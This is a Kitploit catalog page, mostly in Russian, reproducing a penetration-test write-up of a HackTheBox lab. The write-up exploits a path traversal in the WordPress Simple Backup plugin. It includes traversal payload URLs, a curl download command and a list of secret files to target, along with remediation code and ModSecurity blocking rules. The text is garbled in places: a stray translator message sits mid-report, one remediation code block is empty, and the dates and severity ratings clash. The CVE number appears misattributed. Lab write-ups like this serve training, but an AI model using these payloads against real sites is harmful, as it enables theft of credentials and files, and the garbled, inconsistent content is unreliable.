Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WordPress-Path-Traversal-CVE-2019-11447 — Подробный отчёт о тестировании на проникновение, демонстрирующий неаутентифицированный обход пути (CVE-2019-11447) в плагине Simple Backup для WordPress, включающий этапы эксплуатации, анализ воздействия и рекомендации по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/capivara-research/wordpress-path-traversal-cve-2019-11447
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubcapivara-research/wordpress-path-traversal-cve-2019-11447

WordPress-Path-Traversal-CVE-2019-11447

Подробный отчёт о тестировании на проникновение, демонстрирующий неаутентифицированный обход пути (CVE-2019-11447) в плагине Simple Backup для WordPress, включающий этапы эксплуатации, анализ воздействия и рекомендации по устранению уязвимости.

Репозиторий
2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Отчёт о тестировании на проникновение

WordPress Path Traversal - CVE-2019-11447


Информация о документе

ПараметрЗначение
Название документаОтчёт о тестировании на проникновение - WordPress Path Traversal
Клиент/ЭкзаменHackTheBox Lab - CPTS Exercise 1
Дата22 августа 2026 г.
ИсполнительCyberia (специалист по тестированию на проникновение)
Тип оценкиСерый ящик (внешний, без учётных данных)
Лабораторная среда154.57.164.73:30706
Продолжительность лабораторной работы1 час
ЦелиВыявить и использовать уязвимости для получения ограниченных файлов
Полученный флагHTB{my_f1r57_h4ck}

Краткое резюме

В ходе данной оценки безопасности веб-приложения, размещённого на 154.57.164.73:30706, была выявлена критическая уязвимость, позволяющая неаутентифицированным злоумышленникам загружать и читать произвольные файлы из файловой системы сервера.

Уязвимая установка WordPress содержит устаревший плагин (Simple Backup v2.7.10) с уязвимостью обхода пути (CVE-2019-11447), которая позволяет несанкционированный доступ к файлам без необходимости аутентификации или авторизации.

Эта уязвимость была успешно использована для получения файла /flag.txt из корня сервера, что подтверждает полную утрату конфиденциальности. Злоумышленник с таким доступом может:

  • Извлекать чувствительные конфигурационные файлы (wp-config.php, .env)
  • Читать учётные данные базы данных и пользовательские данные
  • Получать доступ к приватным SSH-ключам и токенам аутентификации
  • Потенциально повышать привилегии с помощью утёкших учётных данных
  • Собирать личную информацию для дальнейших атак

Требуется немедленное принятие критических мер для устранения этой уязвимости, поскольку она представляет чрезвычайный риск для безопасности данных, соответствия требованиям конфиденциальности (GDPR, HIPAA, PCI-DSS) и целостности системы.


Сводка оценки

КритичностьКоличествоВлияние на бизнес
🔴 КРИТИЧЕСКИЙ1Полное нарушение конфиденциальности; несанкционированный доступ к файлам
🟠 ВЫСОКИЙ0—
🟡 СРЕДНИЙ0—
🟢 НИЗКИЙ0—
ℹ️ ИНФОРМАЦИОННЫЙ1Обнаружены устаревшие версии программного обеспечения

Методология

Тип оценки: Серый ящик (внешний злоумышленник, без предоставленных учётных данных, доступ к сети имеется)

Даты оценки: 22 августа 2026 г.

Подход к тестированию: Нескрытное, методичное тестирование в соответствии с отраслевым стандартом тестирования на проникновение (PTES):

  1. Рекогносцировка — Пассивный сбор информации
  2. Сканирование и перечисление — Активное обнаружение сервисов
  3. Анализ уязвимостей — Выявление слабых мест
  4. Эксплуатация — Разработка доказательства концепции
  5. Пост-эксплуатация — Демонстрация воздействия
  6. Отчётность — Документирование и рекомендации по устранению

Результаты

🔴 КРИТИЧЕСКИЙ - Обход пути и произвольное скачивание файлов

CVE-2019-11447 | CWE-22: Некорректное ограничение пути к ограниченному каталогу


Описание

Плагин WordPress Simple Backup (версии 2.7.10/2.7.11, Exploit-DB 39883) содержит уязвимость обхода пути на странице администратора «Backup Manager». Плагин не проверяет путь к файлу, передаваемый через GET-параметр download_backup_file, что позволяет злоумышленнику выйти за пределы целевого каталога simple-backup/ с помощью последовательностей относительных путей (../) и скачать любой файл, доступный для чтения процессу веб-сервера, — включая файлы в корне файловой системы.

Уязвимая конечная точка:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
`page=backup_manager` направляет запрос в обработчик административной страницы плагина; `download_backup_file` — это параметр, который код плагина считывает напрямую и подставляет в путь файловой системы без валидации, что позволяет выполнить обход каталога (directory traversal).

---

### Оценка CVSS v3.1

**7.5 - ВЫСОКИЙ** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Вектор атаки (AV):** Сеть
- **Сложность атаки (AC):** Низкая
- **Требуемые привилегии (PR):** Отсутствуют
- **Взаимодействие с пользователем (UI):** Отсутствует
- **Область воздействия (S):** Без изменений
- **Конфиденциальность (C):** Высокая
- **Целостность (I):** Отсутствует
- **Доступность (A):** Отсутствует

---

### Бизнес-влияние

**Нарушение конфиденциальности:** ⚠️ КРИТИЧЕСКИЙ

Злоумышленники могут прочитать любой файл, доступный веб-серверу, включая:

| Файл | Влияние | Уровень риска |
|------|--------|------------|
| `/wp-config.php` | Учётные данные БД, соли, ключи | 🔴 КРИТИЧЕСКИЙ |
| `/.env` | API-ключи, секреты, конфигурация | 🔴 КРИТИЧЕСКИЙ |
| `/etc/passwd` | Перечисление пользователей, составление карты системы | 🟠 ВЫСОКИЙ |
| SSH-ключи (`.ssh/id_rsa`) | Латеральное перемещение, доступ к системе | 🔴 КРИТИЧЕСКИЙ |
| `/proc/self/environ` | Секреты работающего приложения | 🟠 ВЫСОКИЙ |
| Каталог загрузок пользователей | Личные файлы, медиа | 🟠 ВЫСОКИЙ |

**Регуляторное воздействие:**
- **Нарушение GDPR:** Несанкционированный доступ к пользовательским данным
- **Нарушение HIPAA:** Раскрытие защищённой медицинской информации
- **Нарушение PCI-DSS:** Доступ к данным банковских карт или платёжной информации
- **Нарушение SOC 2:** Нарушение требования конфиденциальности

---

### Паттерн уязвимого кода

В бюллетене Exploit-DB (39883.txt, читается через `searchsploit -x` — см. [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) задокументирован примитив **delete** плагина из `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

I don't see any content to translate in the input. The INPUT: section is empty. Please provide the actual Markdown chunk text.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);

root@kitploit:~
`$filename` берётся напрямую из `$_GET['delete_backup_file']` без проверки `basename()` или контроля пути. Передача `../pizza.txt` приводит к тому, что `$bk_dir . $filename` разрешается в `.../simple-backup/../pizza.txt` → `.../pizza.txt`, что позволяет выйти за пределы предназначенной папки резервных копий.

Примитив **download**, который фактически был использован в рамках этого задания (`download_backup_file`), использует ту же самую небезопасную схему конкатенации в том же плагине, но вместо удаления файла отдаёт его обратно запрашивающей стороне — именно это позволило извлечь `/flag.txt` из корня файловой системы (10× `../` от `ABSPATH/simple-backup/`).

**Проблема:**
- Отсутствие использования `basename()` для удаления компонентов каталога
- Отсутствие белого списка допустимых файлов
- Отсутствие проверки того, что `realpath()` остаётся в пределах `ABSPATH."simple-backup/"`
- Прямая конкатенация пользовательского ввода в путь к файлу
- Отсутствие проверки `current_user_can()` / аутентификации перед отдачей файла — обработчик запускается при загрузке плагина, до собственного шлюза аутентификации WordPress `wp-admin`, поэтому он доступен **без входа в систему**

---

### Подтверждение концепции

#### **Этап 1: Первоначальный доступ — идентификация приложения**

Подключились напрямую к цели через браузер (`http://154.57.164.73:30706/`). Установка WordPress называется **«GETTING STARTED»**, а публичная запись в блоге на главной странице раскрывает точное название и версию плагина открытым текстом: **«Simple Backup Plugin 2.7.10 for WordPress»** — для идентификации уязвимого компонента даже не потребовалось инструментов перебора.

![Первоначальный доступ — версия плагина раскрыта на главной странице WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Этап 2: Идентификация сервиса**```bash
whatweb http://154.57.164.73:30706/

Результат: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 подтверждена через сигнатуры плагинов MetaGenerator и WordPress.

Определение сервисов — вывод whatweb

Этап 3: Исследование уязвимостей```bash

searchsploit simple backup wordpress

root@kitploit:~
**Результат:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Исследование уязвимостей — совпадение searchsploit

Читаем полный advisory, чтобы понять точные уязвимые параметры и путь выполнения кода:```bash searchsploit -x php/webapps/39883.txt

root@kitploit:~
The advisory documents unauthenticated **Arbitrary File Deletion** via the `delete_backup_file` parameter, and notes that backup files under `simple-backup/` (and, by the same unsanitized code path, arbitrary files via `download_backup_file`) can be retrieved without authentication.

![Vulnerability Research — Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Phase 4: Exploitation — Path Traversal via `download_backup_file`**

Vulnerable endpoint identified from the plugin's admin page routing:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

Полезная нагрузка эксплойта (10× ../ для перехода от ABSPATH/simple-backup/ обратно к корню файловой системы):``` http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
**Графический интерфейс (используемый в этой оценке):** URL-адрес payload открывался напрямую в адресной строке браузера. Вход не требовался — браузер автоматически запустил скачивание итогового `flag.txt`.

![Эксплуатация - Path traversal payload в адресной строке браузера, flag.txt скачан](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Эквивалент в headless-режиме:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

Flag Obtained: HTB{my_f1r57_h4ck}


Почему это работает

Уязвимость срабатывает, потому что:

  1. Отсутствие проверки ввода: $_GET['download_backup_file'] не проверяется по белому списку
  2. Отсутствие канонизации пути: realpath() не используется для проверки того, что файл остаётся внутри simple-backup/
  3. Отсутствие извлечения базового имени: последовательности обхода каталога (../) не фильтруются
  4. Прямая конкатенация: пользовательский ввод напрямую конкатенируется с ABSPATH."simple-backup/"
  5. Отсутствие аутентификации: обработчик выполняется при загрузке плагина, до шлюза аутентификации WordPress wp-admin — доступен без входа в систему
  6. Отсутствие авторизации: отсутствует проверка current_user_can(), подтверждающая, что запрашивающий имеет право доступа к запрошенному файлу

Схема атаки:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine

root@kitploit:~
---

### Проверка воздействия

✅ **Нарушение конфиденциальности:** Все файлы, доступные для чтения процессу веб-сервера, становятся доступны
✅ **Аутентификация не требуется:** Неаутентифицированные пользователи могут воспользоваться уязвимостью
✅ **Взаимодействие с пользователем не требуется:** Эксплуатация через прямой HTTP-запрос
✅ **Повторяемо и надёжно:** Работает на всех уязвимых версиях
✅ **Критически важные бизнес-данные под угрозой:** Файлы конфигурации, учётные данные, пользовательские данные раскрываются

---

## Устранение уязвимости

### **Вариант 1: Белый список ввода (рекомендуется)**

Разрешить загрузку только из предопределённого списка файлов:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

Преимущества:

  • Самый безопасный подход
  • Разрешает только предназначенные файлы
  • Обход невозможен
  • Чёткий аудит-след

Вариант 2: Проверка пути с помощью realpath()

Используйте realpath() для канонизации путей и проверки вхождения:```php

root@kitploit:~
**Преимущества:**
- Обрабатывает симлинки и сложные пути
- Автоматически проверяет вхождение в директорию
- Более гибкий, чем белый список

---

### **Вариант 3: Использование basename() только для имени файла**

Извлечение только компонента имени файла:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

Преимущества:

  • Простая реализация
  • Удаляет все последовательности обхода пути
  • Доступ к каталогам невозможен

Примечание: Этот подход работает только если все легитимные файлы находятся в одном каталоге без подкаталогов.


Защита на уровне инфраструктуры

Правила межсетевого экрана веб-приложений (WAF):```

Block path traversal attempts

ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"

root@kitploit:~
**Разрешения файловой системы:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

Ведение журналов доступа и мониторинг:```bash

Monitor for traversal attempts in web logs

tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"

Alert on suspicious file access patterns

Integration with SIEM (Splunk, ELK, etc.)

root@kitploit:~
**Управление обновлениями:**

1. Отключите или удалите плагин Simple Backup
2. Установите одобренное решение для резервного копирования с аудитом безопасности
3. Обновите WordPress до последней версии
4. Обновите все плагины до последних версий
5. Обновите PHP до 8.0+ с патчами безопасности

---

## Цепочка атак```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘

Заключение

Сводка результатов

Критическая уязвимость path traversal в плагине Simple Backup для WordPress позволяет неаутентифицированным атакующим скачивать и читать произвольные файлы с сервера. Данная уязвимость была успешно использована для получения конфиденциальных файлов из корня веб-каталога.

Уровень риска: 🔴 КРИТИЧЕСКИЙ

План первоочередных действий

ПриоритетДействиеСрокОтветственный
🔴 P0Отключить/удалить плагин Simple BackupНемедленноБезопасность/Ops
🔴 P0Внедрить валидацию файлов на основе белого спискаНа этой неделеРазработка
🟠 P1Развернуть правила WAF для блокировки обхода путиНа этой неделеOps
🟠 P1Проверить журналы сервера на предмет несанкционированного доступаНа этой неделеБезопасность
🟠 P1Ротировать все скомпрометированные учётные данные (БД, SSH, API)На этой неделеOps
🟡 P2Обновить ядро WordPress и все плагиныНа этой неделеOps
🟡 P2Внедрить мониторинг целостности файловВ следующем спринтеБезопасность
🟡 P2Провести полный аудит безопасности остальных плагиновВ следующем спринтеБезопасность

Извлечённые уроки

  1. Сторонние плагины и зависимости требуют проверки — Всегда проводите аудит плагинов перед развёртыванием
  2. Path traversal — критическая уязвимость — Валидация входных данных обязательна
  3. Многоуровневая защита необходима — Безопасность на одном уровне недостаточна
  4. Устаревшее ПО — высокий риск — Соблюдайте регулярный график обновлений
  5. Мониторинг и оповещение о подозрительных паттернах — Раннее обнаружение предотвращает эскалацию

Скриншоты и доказательства

Скриншот 1: Первоначальный доступ — раскрытие версии плагина

WordPress homepage blog post Находка: Сайт WordPress «GETTING STARTED» публично раскрывает установленный плагин и его версию в блоге — «Simple Backup Plugin 2.7.10 for WordPress»

Скриншот 2: Идентификация сервиса — whatweb

whatweb output Находка: Подтверждены Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1

Скриншот 3: Исследование уязвимостей — searchsploit

searchsploit results Находка: «WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities» (php/webapps/39883.txt)

Скриншот 4: Исследование уязвимостей — содержимое PoC Exploit-DB

searchsploit -x PoC read Находка: В бюллетене описано неаутентифицированное произвольное удаление файлов через delete_backup_file; тот же путь кода без санитизации применим к download_backup_file

Скриншот 5: Эксплуатация — получение флага через браузер

Path traversal payload in browser, flag.txt downloaded Находка: Переход по адресу tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt вызывает неаутентифицированное скачивание flag.txt: HTB{my_f1r57_h4ck}


Ссылки

Детали уязвимости

  • CVE-2019-11447 — обход пути в Simple Backup

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447
  • CWE-22 — Некорректное ограничение имени пути к ограниченному каталогу ('Path Traversal')

    • https://cwe.mitre.org/data/definitions/22.html
  • Оценка CVSS v3.1: 7.5 (Высокий)

    • https://www.first.org/cvss/calculator/3.1

Ресурсы по безопасности

  • OWASP Top 10 — A01:2021 Нарушенный контроль доступа

    • https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • OWASP Path Traversal

    • https://owasp.org/www-community/attacks/Path_Traversal
  • PortSwigger Web Security Academy — Path Traversal

    • https://portswigger.net/web-security/file-path-traversal

Инструменты и техники

  • SearchSploit — поиск по Exploit Database

    • https://www.exploit-db.com/
  • NMAP — Network Mapper

    • https://nmap.org/
  • WhatWeb — инструмент идентификации веб-технологий

    • https://www.morningstarsecurity.com/research/whatweb

Ссылки по устранению уязвимости

  • Безопасность PHP: realpath() — https://www.php.net/manual/en/function.realpath.php
  • Безопасность PHP: basename() — https://www.php.net/manual/en/function.basename.php
  • ModSecurity — межсетевой экран уровня веб-приложений — https://modsecurity.org/

Сертификация отчёта

Данный отчёт описывает тест на проникновение, проведённый с соответствующим разрешением и в рамках определённого объёма.

ПараметрЗначение
Статус отчёта✅ Завершён
Находки подтверждены✅ Да
Рекомендации реализуемы✅ Да
Конфиденциальность🔒 Высокая
РаспространениеОграничено уполномоченным персоналом

Аудитор: Capivara Root (тестер на проникновение)
Дата: 11 августа 2026 г.
Подпись: Электронный отчёт — физическая подпись не требуется


© 2026 Оценка теста на проникновение | Конфиденциально

Скачать инструмент